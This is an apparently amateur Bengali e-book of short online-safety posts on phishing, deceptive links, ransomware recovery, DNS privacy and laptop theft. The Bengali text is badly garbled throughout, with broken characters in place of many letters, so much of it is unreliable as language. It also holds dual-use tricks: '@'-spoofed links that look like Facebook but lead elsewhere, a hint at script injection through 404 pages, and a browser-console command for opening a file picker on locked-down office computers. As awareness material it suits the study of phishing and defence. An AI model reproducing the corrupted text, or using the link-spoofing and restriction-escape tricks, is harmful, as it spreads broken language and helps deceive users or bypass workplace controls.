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��র কথা..

অনলাইন মানব জীবেনর অিবে�দ� অংশ। সময় যত গড়াে� মানুেষর তত 
অনলাইেনর সােথ স�ৃ�তা বাড়েছ এবং িবপদ�নক হেয় উঠেছ। অনলাইন 
�যেহতু  মানুেষর  জীবেনর  অিবে�দ�  অংশ  হেয়  দািড়েয়েছ  তাই  এখােন 
�সফিট থাকার উপায় জানা, অনলাইন স�েক� �াথিমক ও িনেজেক রি�ত 
রাখার �ান রাখা অতীব ���পূণ�।

একটা সময় আসেব সবিকছু পিরচািলত হেব অনলাইেনর মাধ�েম। টাকার 
ব�বহার  ব�হত  হেব।  টাকার  সংখ�া  িদেয়ই  মানুষ  জীবেনর  চািহদা  পূরণ 
করেব। ঘের ঘের থাকেব ব�াংক অ�াকাউে�র বাহার। সবার হােত থাকেব 
��িডট কাড�। পেকেট থাকা �মাবাইলটা ব�বহার হেব �লনেদন করার জন�। 
যাবতীয়  যা  িকছু  আমরা  িভ�  উপােয়  িমটাি�  সবিকছুই  পিরবত�ন  হেব। 
কা�েজ টাকা তখন অনথ�ক।

�গল ২০ বছর আেগও �গল, �ফসবুক সহ সব �সাশ�াল �নটওয়াক�স�েলােত 
অতটা  িনরাপ�া  িছল  না।  সমেয়র  ব�বধােন  চািহদা  বাড়ার  সােথ  সােথ 
িনরাপ�ায় অেনকটা উ�ত হেয়েছ। িঠক এখন �যভােব অনলাইন ���পূণ� 
সব কােজ ব�ব�ত হে� আগামী �জে� �সটা আেরা �কট আকার ধারণ 
করেব। মানুেষর �গাটা জীবন হেয় পড়েব অনলাইনময়।

আজেকর এই সময়টায় আমরা �যভােব অনলাইেন িনেজর িনরাপ�ার কথা 
ভাবিছ। ভাবিছ িনেজ একটু সুরি�ত �থেক অনলাইন জীবনটা উপেভাগ করার 
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উপায় িক হেত পাের! �পেরশান আমােদরেক কাবু কেরেছ এই ভাবনায় �য, 
অনলাইন আমােদর জন� িনরাপদ নয়। �তা আমােদর �জে� যিদ অব�া এই 
দাড়ায় আগামীেত কী ঘটেত যাে� তা সহেজই অনুেময়।

িনরাপ�ার  �ধান  হািতয়ার  হে�  সেচতনতা।  িনেজ  িনরাপদ  থাকেত  হেল 
সতক� থাকুন। হ�া এটা সত� �য, �েত�কটা �সাশ�াল �নটওয়াক�েস িনরাপ�া 
বৃি� করা হে� িক� এটাও মাথায় রাখেত হেব �য, অসাধু ��ামার যারা 
আেছ তারাও বেস �নই। অভূতপূব� সাফল� তােদর হােতর মুেঠায় এেসই ধরা 
িদে� �িতবার। তাই সতক�তা িবক� �থমত িকছু �নই।

আমরা এই বইেয় �সাশ�াল �নটওয়াক�েস আপনার িনরাপ�া িনি�ত করেত 
িবিভ�ভােব �চ�া কেরিছ। িকছু �সাশ�াল �নটওয়াক�স সহ আপনার িডভাইস 
িকভােব হ�াক হেত পাের এিনেয় �ছাট �ছাট কের আেলাচনা কের বুঝােনার 
�চ�া  কেরিছ।  িকছু  ি�কস  �শয়ার  কেরিছ  িক�  �স�েলা  ২০২১  এর  িদেক 
এভেলবল  িছল।  �স�েলা  এখন  কাজ  কের  িকনা  �সটা  আ�হ  থাকেল 
আপনােকই যাচাই করেত হেব।

মূলত একজন সাধারণ মানুেষর িনরাপ�ার কথা িচ�া কের বইিট �তির �য়াস 
কেরিছ।  যারা  �মাটামুিট  অনলাইেন  অ�াি�ভ  থােক।  িবিভ�ভােব  মানুষেক 
সহেযািগতা  �ধান  কের,  অনলাইনেক  ব�বহার  কের  তারা  হেয়  উেঠেছন 
একজন  �িতভাবান  ব�াি�।  তােদরেক  এিগেয়  �দওয়া  ও  তােদর  িনরাপ�া 
িনি�ত করেতই এখােন হািজর হেয়িছ।
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বইিটর �পছেন সকল �ম আমার। তেব কৃত� মুহা�দ আব��াহ আল মামুন 
ভাইেয়র �িত। তার তথ� �থেক সবেথেক �বিশ উপকৃত হেয়িছ। আিম এই 
বইেয়র �লখক নই �ধু একজন সংকলক মা�। সবার সুিবদার কথা মাথায় 
�রেখ এক মলােট আব� কের আপনার সবার জন� সহজ কের িদেয়িছ এটা 
ভাবেলই �দেয় মহানায়ক িনেজেক মেন হয়।

তথ��েলােত  �কােনা  ভুল  �চােখ  পড়েল  অবশ�ই  অবগত  করেবন।  পরবত�ী 
সং�রেণ হয়ত অধ�ায় বাদ িদেবা নয়েতা সিঠক তথ� যু� কের িদেবা। ইনশা 
আ�া�

সাইফুল ইসলাম

১৬ �ম ২০২৩

আপনার �যেকান পরামশ� পািঠেয় িদন িনেচর ইেমইল িঠকানায়

covidvirus500@gmail.com
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হ�াকার এবং URL

ওেয়বসাইেটর  িলংক  হ�াকােরর  অ�।  URL  বা,  িলংক  িকভােব  হ�ািকং 
অপােরশেন কােজ লাগােনা হয়- �সই িবষেয় �ছা� আেলাচনা করেবা।

িনেচর  িলংকিট  �দখুন।  এখােন  Youtube  এবং  Facebook  �েটা 
ওেয়বসাইেটরই  িলংক  আেছ।  িক�,  ওেয়ব  �াউজাের  িলংকিট  িলখেল 
Facebook -এ চেল যােবন।

> https://youtube.com@facebook.com

এটা  মূলত  ওেয়ব  �াউজােরর  িনজ�  ফাংশনািলিটর  কারেন  হয়।  আবার, 
িনেচর  িলংকিট  �দখুন।  এখােনও  Youtube এবং  Facebook �েটা 
ওেয়বসাইেটরই  িলংক  আেছ।  িক�,  এই  িলংেক  ি�ক  করেল  Youtube 
-এ চেল যােবন।

> https://youtube.com#facebook.com

যাই  �হাক,  এই  িবষয়িট  হ�ািকং  অপােরশেন  কােজ  লাগােনা  স�ব।  তেব, 
প�িত  আেলাচনা  করিছ  না;  �যেহতু,  �সটা  Facebook Policy  -র 
িব�ে� যােব।
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# 404 Error

মেন  ক�ন,  **iiii.com**  নােম  আমার  একিট  ওেয়বসাইট  আেছ। 
ওেয়বসাইেট bangla নােমর একিট file আেছ।

তাই, **iiii.com/bangla** িলংেক �গেল �সই file িট পাওয়া যােব। 
িক�, আমার ওেয়বসাইেট english নােমর �কান file �নই।

তাই, **iiii.com/english** িলংেক �গেল 404 Error �দখােব।

িক�, এমন অেনক vulnerable (�িটযু�) ওেয়বসাইট থাকেত পাের, 
�যখােন  404  Error  �দখােনার  সময়  আপিন  �যই  file  এর  িলংেক 
িগেয়েছন, �সই file এর নাম ওেয়বসাইেট �লখা উঠেব িনেচর মেতা-

> Ops! **/english** does not exist.

অথ�াৎ,  আপনার  �লখা  অংশিট  ওেয়বসাইেট  �দখােনা  হে�।  তাই, 
**/english** এর জায়গায় �িতকর code িলেখ, �সই িলংক কাউেক 
িদেয় ি�ক করােলই তার �াউজাের �িতকর code িট run করেব। যিদও, 
এরকম vulnerable ওেয়বসাইট বত�মােন �নই বলেলই চেল।

Broken Link Hijacking
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মেন  ক�ন,  িনেচর  িলংকিট  হে�  **abcd**  নামক  একিট  �ফসবুক 
�েপর-

> fb.com/groups/abcd

�সই  �েপ  কেয়ক  লাখ  মানুষ  join করেলা।  ধীের  ধীের  �পিট  অেনক 
পিরিচিত লাভ করেলা এবং িবিভ� ওেয়বসাইেট �েপর িলংক share করা 
হেলা।  হঠাত  একিদন  �পিট  disable হেয়  �গেলা।  �সই  সুেযােগ  অন� 
একজন তার িনেজর অপরাধমূলক �েপর িলংক edit কের abcd �েপর 
িলংকিট  set  কের  িদেলা।  ফেল,  �যসকল  ওেয়বসাইেট  abcd �েপর 
িলংক  share করা  হেয়িছেলা,  �সসকল  িলংেক  ি�ক  করেল  এখন  এই 
�িতকর �েপ চেল যােব।

িলংেকর সােথ স�িক�ত আরও অেনক িবষয় জিড়ত আেছ। তাছাড়া, link 
shortener ব�াবহার  কের  �িতকর  িলংকেক  �ছাট  কের  অেন�র  কােছ 
পাঠােনার িবষেয় আপনারা সকেলই হয়েতা জােনন। তেব, িলংক িনেজ �থেক 
�কানিকছুই run করেব না; যিদ না, আপিন ি�ক কেরন। তাই, িলংেক ি�ক 
করার সময় যাচাই ক�ন। কারন, িলংক একিট অ�।

────────────
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িফিশং - সেচতন থা�ন

আপিন িক জােনন �য, িফিশং এর �ীকার হেয়ই অিধকাংশ মানুষ ম�ালওয়�ার 
ডাউনেলাড কেরন? িফিশং ওেয়বসাইেটর কথা হয়েতা সবাই জােনন। তেব, 
অপরাধীরা  িফিশং  ইেমইেলর  মাধ�েম  �বিশ  আ�মণ  কের।  �যমন  ধ�ন- 
িকছুিদন আেগ Windows 11 িনেয় �চুর উৎসাহ কাজ করিছেলা। িঠক 
তখনই  একিট  অপরাধী  �প  **Windows  11  Alpha**  নােমর 
একিট  িফিশং  ইেমইল  পাঠােত  থােক।  অপরাধীরা  মানুষেক  �বাকা  বািনেয় 
ইেমইেল িলেখিছেলা �য,

>  ইেমইেলর  সােথ  একিট  file  যু�  করা  আেছ  �যটা  বানােনা  হেয়েছ 
Windows 11 Alpha িদেয়।

তাই, file িট open করার জন� তারা একিট button -এ ি�ক করেত 
বেল। আর, ি�ক করেলই ম�ালওয়ােরর কাজ ��!

অেনক সময় িফিশং ইেমইেল এমন িলংক থাকেত পাের �য, বাংলােদেশর 
মানুষ  ি�ক  করেল  একিট  িলংেক  যােব  আবার  অন�  �দেশর  মানুষ  ি�ক 
করেল অন� িলংেক যােব। অথ�াৎ, িলংক একটাই িক�, location �ভেদ 
আলাদা  আলাদা  ওেয়বসাইেট  redirect  করেব।  এমনিক  অেনক  সময় 
িলংক  shortener  ব�াবহার  কের  িলংক  �ছাট  করা  হয়।  ফেল,  �সই 
িলংকিট �দেখ আসল িলংক হয়েতা জানেত পারেবন না। 
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জ�ির একিট কথা বলেত চাই। �সটা হে�- অেনক সময় এমনও হেত পাের 
�য, একজন আপনােক একিট ওেয়বসাইট বা, এি�েকশেন sign up করেত 
বলেলা। িক�, �সই ব�ি� আপনার ইেমইল ব�াবহার কের আেগই sign 
up কেরেছ িক�, verification code এেসেছ আপনার কােছ। ফেল, 
তার  কথা  �েন  আপিন  যখন  িনেজ  �থেক  sign  up  করেবন  এবং 
verification code পাঠােবন, তখন একাউ� verified হেয় যােব। 
পরত�ীেত  �সই  ব�ি�  পাসওয়াড�  পিরবত�ন  কের  িনেব।  যিদও  ভােলা 
িসিকউিরিট যু� ওেয়বসাইেট এমনটা করা খুব একটা স�ব না।

সাইবার  িবে�  িফিশং  হে�-  িবরাট  এক  ঝুঁিক।  এই  িফিশং  এর  মাধ�েমই 
ই�ারেনট �থেক ম�ালওয়�ার চেল আসেত পাের আপনার কি�উটাের। তাই, 
সেচতন থাকুন। ধন�বাদ।

────────────
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সাইবার ��াক �ফারাম

িনেচর  ছিবেত  �দখেত  পাে�ন-  িবিভ�  সাইবার  অপরাধীরা  হ�াক  করা 
পাসওয়াড� share করেছ। এরকম অেনক �প বা, �ফারাম আেছ। তেব, 
এরকম  �েপ  �য  �ধু  অপরাধীরাই  থােক-  তা  িক�  না।  অেনক  সরকাির, 
�বসরকাির  সাইবার  িসিকউিরিট  �েফশনাল  এবং  সাংবািদকও  �সখােন 
থােকন, অপরাধীেদর কায�িবিধ পয�েব�ণ করার জন�।

যাই �হাক, একিট িবষয় পির�ার- আপিন যিদ িনয়িমত পাসওয়াড� পিরবত�ন 
না কেরন তাহেল, এসকল �ফারােম আপনার পাসওয়াড� share হেয় �গেল 
অপরাধীরা িদেনর পর িদন আপনার একাউে� login কের যােব!

─────────
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যাচাই ক�ন

িনেচর  িলংেক  ি�ক  করেল  আপিন  আমার  Facebook একাউে�  চেল 
যােবন-

> 
[https://www.linkedin.com/slink?code=gX643naz](
https://www.linkedin.com/slink?code=gX643naz)

অথচ,  এটা  Linkedin  ওেয়বসাইেটর  িলংক,  তাই  না?  এভােব  একিট 
ওেয়বসাইেটর িলংেক ি�ক কের আেরক ওেয়বসাইেট চেল �যেতই পােরন। 
তাই, �কা� িলংেক ি�ক করেছন এবং ি�ক করার পর �কা� িলংেক চেল 
�গেলন- উভয়িটই যাচাই ক�ন।

─────────



───সাইবার জগেতর ওিপঠ by সাইফ 

15

িলংেকর মে� �ধাঁকাবািজ

একজন আপনােক িনেচর িলংক send করেলা-

https://facebook.com@2398797614

এই িলংেক ি�ক করেল আপিন Google -এ চেল যােবন। অথচ, �দখেল 
মেন হেব- এটা �ফসবুেকর িলংক।

এটা িকভােব হে�?

উপেরর  িলংেক  facebook.com এর  পের  **@**  িচ�টাই  হে� 
আসল হ�াক। এই **@** িচে�র পের আিম google.com এর IP 
address (�ডিসেমল সংখ�ায়) িলেখ �দওয়ায় আপিন �ফসবুেকর িলংেক 
ি�ক কেরও �গেল চেল যাে�ন। এভােব কের িক� আপনােক ম�ালওয়�ার 
সাইেটও িনেয় যাওয়া স�ব, যিদ আপিন ি�ক কেরন।

────────────
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Ransomware আ�মেণর পর 

করনীয়

অত��  �ঃেখর  সােথ  বলেত  হে�-  গত  ২/১  িদন  যাবত  অেনেকই 
ransomware আ�মেণর  িশকার  হে�ন।  �ফসবুেক  অেনক  সমাধান 
�খাঁজ  করেলও  সমাধান  পাে�ন  না।  তাই,  আজেক  আিম  (Mamun) 
িনেজর ব�ি�গত িরসাচ� �থেক িকছু তথ� আপনােদর সামেন তুেল ধরেবা-

সা�িতক  িকছু  ransomware এর  ওপর  forensic গেবষণা  কের 
�দখা  িগেয়েছ-  এসব  ransomware  কি�উটােরর  file  �েলা 
encrypt করার  আেগ  সকল  file এর  একিট  copy কের  �নয়  এবং 
তারপর  �সই  copy  করা  file  �ক  encrypt  কের  (যােত  কের 
কি�উটাের  িভ�  logical  address -এ  �স�েলা  চেল  যায়)।  আর, 
copy করা file �েলা encrypt করা হেয় �গেল মূল file �ক delete 
কের  �দয়।  আর,  এখােনই  রেয়েছ  আপনার  file িফের  পাওয়ার  সুেযাগ। 
আপিন িন�য়ই জােনন- কি�উটাের delete করা file �েলা recover 
করা  যায়?  এই  িবষেয়  িব�ািরত  জানেত  িনেচর  িলংেক  ি�ক  কের  আমার 
post িট পড়েত পােরন। �তা, এই ধরেনর ransomware এর িশকার 
হেল আপিন সহেজই delete হওয়া file �েলা recover করার মেতা 
কেরই recover করেত পারেবন।
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আবার,  অেনক  সময়  malware  �েলা  �ধুমা�  িনিদ��  িকছু  �দেশর 
কি�উটােরর  �িত  কের।  তাই,  malware এর  ��া�ােম  যিদ  আপনার 
�দশেক  টােগ�ট  িহেসেব  না  রােখ  তাহেল  malware িনেজ  �থেকই  চেল 
যােব।  এমনিক  িকছু  িকছু  malware এর  মেধ�  এমনও  ��া�াম  পাওয়া 
িগেয়েছ  �য,  কি�উটােরর  user name যিদ  **USER-JOHN** 
হয়, তাহেলই �সই কি�উটােরর �িত করা হেব না।

আর, আমরা সবাই জািন- �িতকােরর �চেয় �িতেরাধ উ�ম। আপিন যিদ 
িনেজ �থেকই আপনার কি�উটােরর disk partition �েলা encrypt 
কের রােখন তাহেল, অপরাধীরা সাধারণত আপনার file �েলা access 
করেত পারেব না; কারণ, তােদর কােছ আপনার �দওয়া key �নই। ফেল, 
অেনকাংেশই ransomware এর ঝুঁিক কেম যােব।

আর,  অপরাধীরা  সাধারণত  ই�ারেনেটর  মাধ�েমই  ransomware 
পিরচালনা  কের  থােক।  তাই,  যিদ  ransomware এর  িশকার  হেয়ও 
যান;  যখন  আ�াজ  করেত  পারেবন  তখন  সােথ  সােথ  কি�উটার  �থেক 
ই�ারেনট সংেযাগ িবি�� কের িদেবন। আর, �দখুন- আপনার কি�উটােরর 
file �েলার �শেষ এখন �কা� extension যু� করা আেছ। ই�ারেনেট 
�সই  extension স�িক�ত  ransomware এর  সমাধান  search 
ক�ন, �পেয় �যেত পােরন।

পিরেশেষ একিট কথাই বলেবা- অিব�� এবং unofficial �াটফম� �থেক 
�কানিকছু ডাউনেলাড করেবন না।

─────────
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�াউজার বাইপাস

ব�িদন পর একিট িবষেয় িলখিছ। মেন ক�ন, �কউ আপনােক িনেচর িলংক 
পাঠােলা-

https://cutt.ly/T3cWovY

এই  িলংেক  ি�ক  করেল  আপিন  Facebook -এ  চেল  যােবন।  িক�, 
Facebook -এ যাওয়ার আেগ আপিন আমার ওেয়বসাইেট redirect 
হেবন। অথচ আপিন �সটা বুঝেতই পারেবন না। সবেচেয় বড় হ�াক হে�- 
আপনার ওেয়ব �াউজার �সটা history �ত track করেত পারেব না।

�ভেব �দখুন- একজন সাইবার অপরাধী যিদ এভােব �কান malicious 
(�িতকর) ওেয়বসাইেট redirect করায় তাহেল আপিন হয়েতা বুঝেতই 
পারেবন না!

────────────
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হ�াকার, File ও �ক

আপনার ঘেরর কি�উটার আর, বড় বড় �কা�ািনর কি�উটার িসে�েমর 
মেধ� িকছু পাথ�ক� থাকেত পাের। অিফেস এমনও কি�উটার থাকেত পাের, 
�যটা িদেয় �ধুমা� ওেয়ব �াউজার ব�াবহার করা যােব। ফেল আপিন �সই 
কি�উটােরর  �কান  file  �দখেত  পারেবন  না।  িক�,  আপিন  যিদ  ওেয়ব 
�াউজাের  right  click  কের  Inspect  -এ  ি�ক  কেরন।  এরপর 
Console -এ িগেয় িনেচর statement িট িলেখ Enter ��স কেরন 
তাহেলই file �দখার অপশন �পেয় �যেত পােরন-

document.write('<input/type=file>

এছাড়াও, ওেয়ব �াউজাের right click কের Save as -এ ি�ক করেল 
িকংবা, right click কের Print -এ ি�ক কের Save -এ ি�ক করেলই 
নতুন  Window চেল  আসেব।  এরপর  আপিন  চাইেল  একিট  Folder 
-এর ওপর right click কের Open in new window -�ত ি�ক 
করেলই  সকল  file  �পেয়  �যেত  পােরন।  মূলত  এভােবই  কি�উটার 
িসে�েম িবিভ� ফাঁক-�ফাকড় �থেক যায়। যার কারেন একিট �কা�ািনেত 
থাকা শত শত কি�উটার িনরাপদ রাখেত সাইবার িসিকউিরিট ইি�িনয়ারগণ 
অ�া� পির�ম কের যান।

─────────
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 হ�ািকং হে�- science এবং arts এর 

সম�য়।

 নারীর অধ�-উল� ছিব ইেমইল করেল ৫০% পু�ষ �সই ইেমইেলর িলংেক 
ি�ক  করেব  �ধুমা�  ছিবিট  বড়  কের  �দখার  জন�।  পু�েষর  এরকম  ছিব 
�পেল নারীরা িক করেব- �সই ���াপট িনেয় িকছু বলেত চাি� না। তেব, 
এটাই বা�ব। ২০০১ সােল **Anna Kournikova** নােমর একজন 
নারী  �টিনস  �খেলায়ােড়র  ছিব  যু�  ইেমইল  পািঠেয়  অসংখ�  কি�উটার 
হ�াক করা হেয়িছেলা। তেব, ইেমইেলর �সই ছিবেত যখন ি�ক করা হেতা, 
তখন �সই ছিব �দখা �যেতা না। বরং, �গাপেন **Vbs.OnTheFly** 
নামক ম�ালওয়�ার কাজ করা �� কের িদেতা। এটা �তির কেরিছেলা ২০ 
বছর বয়শী যুবক, যার ছ�নাম িছেলা **OnTheFly**।

আসেল, হ�ািকং হে�- science এবং arts এর সম�য়। আর, সবেশেষ 
একটা  কথা  জািনেয়  িদেবা।  �সটা  হে�-  একজন  হ�াকােরর 
**Facebook** একাউ� না-ও থাকেত পাের িক�, **Twitter** 
একাউ�  অবশ�ই  থাকেব।  �সখােন  সারা  িবে�র  অসংখ�  হ�াকােরর  �দখা 
পােবন। আপনােক �ধু খুঁেজ িনেত হেব। ধন�বাদ।

─────────
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�ফস�েকর Only Me ছিব

আপিন �ফসবুেক একিট ছিব post করেলন। এরপর ছিবিট public �থেক 
only me করেলন। িক�, only me করার আেগই �কউ যিদ আপনার 
�সই ছিবেত right click কের 'Copy image address' -এ ি�ক 
কের  ছিবিটর  িলংক  copy কের  �নয়  তখন,  ছিবিট  only  me করার 
পেরও �সই িলংেক �গেল আপনার ছিবিট �দখা যােবই। এই িবষেয় �ফসবুক 
িসিকউিরিট team এর সােথ �যাগােযাগ করেল তারা আমােক জানান �য, 
ছিব public কের post �দওয়ায় আপিন �যেহতু ছিবর িলংকিট �-ই�ায় 
িনেজই সবার কােছ জািনেয় িদে�ন তাই, এমনটা হওয়া �াভািবক।

এটা �ফসবুেকর policy হেলও অেনেকই হয়েতা িবষয়িট জােনন না। তাই, 
সতক�তা ��প জািনেয় িদলাম। ধন�বাদ।

৯ �সে��র ২০২২

─────────
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অনলাইন সাচ� যখন �ঁিকর মে�

িবষয়ঃ িডএনএস

আপিন  VPN  ব�াবহার  কের  আপনার  আইিপ  এে�স  �গাপন  করেলও 
আপনার �লােকশন track করা স�ব। কারনটা বলেবা তেব, তার আেগ 
আপনােক DNS এর পিরচয় জানেত হেব। ই�ারেনেট আপিন যখনই �কান 
ওেয়বসাইেটর  নাম  িলেখ  সাচ�  �দন,  তখনই  �সই  ওেয়বসাইেটর  আইিপ 
এে�স খুঁেজ �বর করেত হয়। ই�ারেনেটর ��র িদেক ওেয়বসাইট�েলার 
আইিপ এে�স িলেখই সাচ� করেত হেতা। িক�, বত�মােন ওেয়বসাইেটর নাম 
(�যমনঃ facebook.com) িলেখ সাচ� িদেলই ওেয়বসাইট চেল আেস। 
কারন,  আপিন  যখন  ওেয়বসাইেটর  নাম  িলেখ  সাচ�  �দন,  তখন  আপনার 
ওেয়ব �াউজার একিট DNS সাভ�ার �থেক ওেয়বসাইটিটর আইিপ এে�স 
খুঁেজ �বর কের এবং এরপর �সই আইিপ এে�স এর মাধ�েম ওেয়বসাইট 
খুঁেজ  �বর  কের।  এভােব  আপিন  যখনই  �কান  ওেয়বসাইেট  �েবশ  করেত 
চাইেবন তখনই DNS সাভ�ার �থেক �সই ওেয়বসাইেটর আইিপ এে�স �বর 
করেত  হেব।  িক�,  আপিন  �তা  আপনার  ই�ারেনট  ��াভাইডােরর  �দওয়া 
DNS সাভ�ার ব�াবহার করেছন। ফেল, আপিন িক িক সাচ� করেছন- �সটা 
তােদর  কােছ  save  থাকেব।  এমনিক,  আপিন  �কান  DNS  ব�াবহার 
করেছন  �সটা  জানার  মাধ�েম  আপনার  �লােকশন  track  করা  স�ব। 
এভােবই আপিন VPN ব�াবহার কের আইিপ এে�স �গাপন করার পেরও 
অেনক সময় আপনার ব�াবহার করা DNS সাভ�ারেক track কের আপনার 
�লােকশন (location) জানা স�ব।
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সব  িমিলেয়  DNS  একিট  অিনরাপদ  ব�ব�া।  �ায়ই  **DNS 
poisoning** এর মাধ�েম মানুষ হ�ািকং এর �ীকার হে�। অেনেকই 
হয়েতা জােনন না- DNS poisoning িক? DNS poisoning হে�- 
DNS  এর  তািলকায়  থাকা  আইিপ  এে�স  পিরবত�ন  কের  খারাপ 
ওেয়বসাইেটর  আইিপ  এে�স  িলেখ  �দওয়া।  ফেল,  আপিন  যখন 
ওেয়বসাইটিটর নাম িলেখ সাচ� করেবন তখন আসল ওেয়বসাইেট না িগেয় 
পিরবিত�ত আইিপ এে�েসর ওেয়বসাইেট চেল যােবন।

আমরা িক িক পদে�প িনেত পাির?

�থমত, আপিন িক িক সাচ� করেছন �সটা আপনার ই�ারেনট ��াভাইডার 
জানেত  পাের।  কারন,  আপিন  তােদর  DNS  সাভ�ার  ব�াবহার  করেছন। 
এে�ে� Firefox �াউজােরর Settings �থেক এনি�ে�ড **DNS 
over HTTPS** চালু রাখার পরামশ� িদেয় থােকন অেনেক। তেব, এই 
প�িত অবল�ন করেলও িকছু অসুিবধা থােকই। আিম বরং বলেবা- আপনার 
DNS  সাভ�ার  পিরবত�ন  ক�ন।  এজেন�  Linux  কি�উটােরর 
**/etc/resolv.conf**  �লােকশেনর  file এর  মেধ�  DNS সাভ�ার 
পিরবত�ন  করেত  হেব।  আর,  Windows  কি�উটােরর  Control 
Panel �থেক পিরবত�ন করেত হয়। যিদও, Windows িনেজ �থেকই 
অেনক িকছু track কের (যিদ না আপিন �স�েলা disable কের �দন)।

সাইবার  িসিকউিরিট  অিভ�রা  বেল  থােকন-  **অনলাইেন  ব�ি�গত  তথ� 
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শতভাগ  �গাপন  রাখা  স�ব  না।  িক�,  তারপেরও  আপিন  যিদ  আপনার 
�াইেভিস  র�া  করার  জন�  সেব�া�  �চ�া  কের  থােকন  তাহেল 
“congratulations!” আপিন সিঠক কাজিট করেছন।

─────────
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বত�মান সাইবার জগত

মিনটর - ির� - িসিকউির�

একিট এলাকায় আ�ন লাগেলই আিম জানেত পাির, �সটা খবেরর কাগেজ 
না  আসেলও!  িভন  �দেশর  একিট  শহর  ৫  মাস  আেগ  �কমন  িছেলা  আর 
আজেক �কমন হেয়েছ �সটাও আিম 3D মেডেল �দখেত পাি�। সারা িবে� 
ই�ারেনেট সংযু� �ায় সকল কি�উটার িডভাইেসর তথ� আমার হােতর 
মুেঠায়।

অেনেক �� কেরন- "এি� ভাইরাস ব�াবহার কের আিম কেতাটুকু িনরাপদ"? 
হ�াঁ, িনরাপদ; আবার িনরাপদ না। আপিন যিদ এমন ব�ি� হেয় থােকন �য, 
আপনার  কি�উটার  হ�াক  করার  জন�  আপনার  শ�  িমিলয়ন  ডলার  ব�য় 
করেতও ��ত তাহেল এি� ভাইরাস িনতা�ই একিট �ভঁজা বালুর �দওয়াল।

তেব,  কখেনা  কখেনা  খুব  সহেজও  হ�াক  হেয়  �যেত  পাের।  এখন  অেনেক 
বলেবন- "আমার মেতা গরীেবর িডভাইস হ�াক করেল হ�াকােরর িক আর 
লাভ হেব"! কেতা innocent এসব মানুষ! তাঁেদর িডভাইস হ�াক কের 
অথ�  আেয়র  জন�  হ�াকাররা  �গাপেন  এমন  সব  apps চালােব  �য,  �যই 
িডভাইস ৭ বছর চলার কথা, �সটা এখন ৪ বছরও িটকেব না!

এখন িনরাপদ থাকেত চান? ই�ারেনেট সহেজই িব�াস করা ব� ক�ন।।

─────────
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�ফস�েক অ�� িলংক!

িনেচর িলংকিট �দখুন-

https://facebook.com/zuck/

এিট  �ফসবুেকর  �িত�াতা  Mark  Zuckerberg  এর  �ফসবুক 
একাউে�র িলংক। িক�, এই িলংেক ি�ক করেল আপিন আমার �ফসবুক 
একাউে� চেল যােবন।

িলংকিট  িবেশষ  প�িতেত  post কেরিছ।  আর,  এভােব  আপনােক  একিট 
ওেয়বসাইেটর িলংক �দখােবা িক�, ি�ক করেল অন� িলংেক চেল যােবন। 
তেব, এই প�িতেত �ধুমা� �যই ওেয়বসাইেটর নাম (domain) ��েত 
থাকেব, �সই ওেয়বসাইেটরই অন� িলংেক িনেয় যাওয়া স�ব। তাই, আিম 
�ফসবুকেক এই িবষয়িট জানােল 'তারা এটােক �িতকর িকছু বেল মেন কের 
না' বেল জািনেয়েছ।

─────────
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কি�উটার হািরেয়েছন �তা িবপদ

কি�উটার  হে�  �যুি�র  িভি�।  িক�,  বত�মােন  Shark Jack নামক 
�পন�াইেভর মেতা �ছাট িডভাইস িদেয়ই �সই কি�উটার হ�াক করা যাে�। 
আর, কি�উটার যিদ হািরেয় যায় এবং হ�াকােরর হােত চেল যায় তাহেল 
�তা বুঝেতই পারেছন!

স�িত, একিট সাইবার িসিকউিরিট team এই িবষেয় পরী�া চািলেয়েছন। 
তারা  একিট  ব�াব�ত  ল�াপটপ  িনেয়িছেলন  এবং  �সই  ল�াপটেপর  ওপর 
�াথিমক পরী�া চািলেয় তারা জানেত পারেলন-

* BIOS settings একিট পাসওয়ােড�র মাধ�েম lock করা িছেলা।

* BIOS boot order িছেলা lock করা। ফেল, তারা �পন�াইভ �থেক 
অন� অপােরিটং িসে�ম boot করেত পারেবন না।

* �সই ল�াপটেপ VT-d চালু রাখা িছেলা। ফেল, ল�াপটেপর হাড�ওয়�ার 
Direct  Memory  Access বা,  সরাসির  RAM -�ক  access 
করেত পারেতা না।

এমনিক, �সই ল�াপটেপর হাড�-�াইভ িছেলা Bitlocker িদেয় encrypt 
করা।
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িক�, তারা ল�� করেলন- ল�াপটপ চালু করেল login করার screen 
চেল  আসেছ।  তার  মােন,  হাড�-�াইভ  encrypt  করা  থাকেলও 
**drive**  (�যমন  C:  drive)  �ক  decrypt  করার  key আসেছ 
TPM  �থেক।  আর,  Windows  11  ই�টল  করার  সময়  আপনারা 
TPM স�ে�  �জেন  �গেছন।  ফেল,  তারা  িবেশষ  িকছু  িডভাইস  ব�াবহার 
কের TPM এর কােছ আসা decryption key সং�হ করেলন। এরপর 
আর িক? অ� সমেয়র মেধ� ল�াপটেপ login করেলন এবং হাড�-�াইেভর 
সবিকছু �পেয় �গেলন।

আপনার  কি�উটার  হািরেয়  �গেল  এভােব  login  করেল  আপনার 
Facebook,  Gmail একাউ�  �থেক  ��  কের  অিফিসয়াল  সবিকছুর 
ওপর িনয়�ণ �নওয়া স�ব হেত পাের। এমনিক আপনার personal ছিব 
িদেয়  ��াক-�মইল  করাও  স�ব।  এটা  যিদও  হাড�ওয়�ার  হ�ািকং  এর  মেধ� 
পেড়।  তেব,  সফটওয়�ার  �কি�ক  িবেশষ  িকছু  িসিকউিরিট  ফাংশনািলিট 
ব�াবহার  করেল  িনরাপ�া  বৃি�  করা  স�ব।  আর,  ম�ালওয়�ার  িনেয়  আিম 
একিট PDF বই িলখিছ; খুব শী�ই �পেয় যােবন ইনশাআ�াহ। সবাইেক 
ধন�বাদ।

────────────
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আপনার এি�ভাইরােসর স�ান

একজন ব�ি� চাইেলই আপিন �কা� এি�ভাইরাস ব�াবহার করেছন- �সটা 
�জেন িনেত পাের। আপনার কি�উটাের �সই ব�ি�র �কান access না 
থাকেলও পৃিথবীর অপর �া� �থেক এটা করা স�ব।

িকভােব?

একিট  �কা�ািনর  কি�উটার  িদেয়  উদাহরণ  �দওয়া  যাক।  আপিন  যখন 
একিট ওেয়বসাইেট �েবশ কেরন তখন আপনার রাউটার �সই ওেয়বসাইেটর 
আইিপ এে�স cache কের (িলিপব� কের) রােখ। যােত কের, পরবত�ীেত 
আবার �সই ওেয়বসাইেট �েবেশর সময় আইিপ এে�সিট খুঁজেত না হয়। 
এখন মেন ক�ন, আপিন একিট এি�ভাইরাস ব�াবহার কেরন। �সই এি� 
